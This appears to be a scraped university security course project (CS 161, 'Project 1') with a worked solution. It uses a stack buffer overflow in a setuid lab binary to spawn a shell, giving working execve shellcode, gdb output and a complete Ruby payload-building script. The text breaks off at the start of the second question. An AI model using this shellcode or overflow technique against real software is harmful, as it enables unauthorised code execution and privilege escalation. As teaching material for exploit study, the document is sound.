CS 161
Computer Security Project 1
Question 1 Behind the Scenes (40 points)
A tweet from Neo assures you that given its hasty development by poorly educated
programmers, Calnet’s components contain a number of memory
...
CS 161
Computer Security Project 1
Question 1 Behind the Scenes (40 points)
A tweet from Neo assures you that given its hasty development by poorly educated
programmers, Calnet’s components contain a number of memory-safety vulnerabilities.
In the VM that Neo provided, you will find the first code piece located in the directory
/home/vsftpd.
1
You are to continue his work and write an exploit that spawns a shell, for which you can
use the following shellcode:
shellcode =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" +
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" +
"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
Note: Recall that x86 has little-endian byte order, e.g., the first four bytes of the above
shellcode will appear as 0x895e1feb in the debugger.
Neo already provided an exploit scaffold that takes your malicious buffer and feeds it to
the vulnerable program via a script called exploit:
#!/bin/sh
( ./egg ; cat ) | invoke dejavu
(As one of Neo’s tweets explains in a concise but strikingly lucid fashion, the expression
before the shell pipe is necessary so that if the attack input generated by egg succeeds,
then you will be able to interact with the shell that the exploit spawns by typing via stdin.
Be aware that when the shell spawns there will not be any immediate visual feedback,
such as a prompt. To test whether the exploit worked, try running a command such as
ls or whoami. To exit the shell, type ctrl-d.)
To get started, read “Smashing The Stack For Fun And Profit” by AlephOne [1]. Neo
recommended that you try to absorb the high-level concepts of exploiting stack overflows
rather than every single line of assembly. He also warned you that some of the example
codes are outdated and may not work as-is.
Once you have a shell running with the privileges of user smith, run the command
cat README to learn smith’s password for the next problem.
1The vulnerable binary has the setuid bit set and is owned by the user of the next stage, meaning it will
run with the effective privileges of user smith.
Page 1 of 11
Solution:
Inspecting the C source, we observe use of gets—always unsafe! We then fire up
the debugger via invoke -d dejavu and set a breakpoint at line 8. After running
the executable and entering some dummy values, we inspect the memory and RIP:
(gdb) x/16x door
0xbffffbf8: 0x41414141 0xb7e5f200 0xb7fed270 0x00000000
0xbffffc08: 0xbffffc18 0x0804842a 0x08048440 0x00000000
0xbffffc18: 0x00000000 0xb7e454d3 0x00000001 0xbffffcb4
0xbffffc28: 0xbffffcbc 0xb7fdc858 0x00000000 0xbffffc1c
(gdb) i f
Stack frame at 0xbffffc10:
eip = 0x804841d in deja_vu (dejavu.c:8); saved eip 0x804842a
called by frame at 0xbffffc20
source language c.
Arglist at 0xbffffc08, args:
Locals at 0xbffffc08, Previous frame’s sp is 0xbffffc10
Saved registers:
ebp at 0xbffffc08, eip at 0xbffffc0c
The shellcode Neo provided terminates with a NUL byte, so our strategy is to pad
the exploit, overwrite the RIP, and then insert the shellcode. Since the buffer begins
at 0xbffffbf8 and the RIP sits at 0xbffffc0c, we need to add 20 bytes of padding,
then inject the new RIP pointing to the following memory region.
It turns out we’re in luck: the last byte of the new jump target, 0xbffffc0c + 4
= 0xbffffc10, does not end with NUL byte, so we can directly place the shellcode
after the new RIP. (If the last byte of the new RIP had been NUL, the string read
from standard input would terminate at that NUL byte. We could work around this
potential problem by adding 4 bytes to the RIP and then displace the shellcode by
4 bytes.)
The code below shows the contents of the script egg:
#!/usr/bin/env ruby
pad = "\xff" * 20
rip = "\x10\xfc\xff\xbf" # little endian
egg = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"\
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"\
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"\
"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
puts(pad + rip + egg)
Project 1 Page 2 of 11 CS 161 – SP 17
Question 2 Compromising Further (40 points)
Calnet uses a sequence of stages to protect intruders from gaining root access. The
inept Junior University programmers actually attempted a half-hearted fix to address
the overt buffer overflow vulnerability from the previous stage. In this problem you must
bypass these mediocre security measures and, again, inject code that spawns a shell.
SSH into the VM again, using the username smith and the password you learned
in the previous question (the command to run is ssh -p 2222
[email protected]). In
the home directory of this stage, /home/smith, you will find a small helper script
generate-file-contents. This script takes arbitrary input via stdin and prints the
first 127 bytes to stdout in the format that the program agent-smith expects (which is
an initial byte specifying the length of the input, followed by the input itself):
% ./generate-file-contents < anderson.txt
Neo realized that this helper script always generates safe files to be used with the buggy
agent-smith program—but nothing prevents you from instead feeding agent-smith an
arbitrary file of your choice. In parti
[Show More]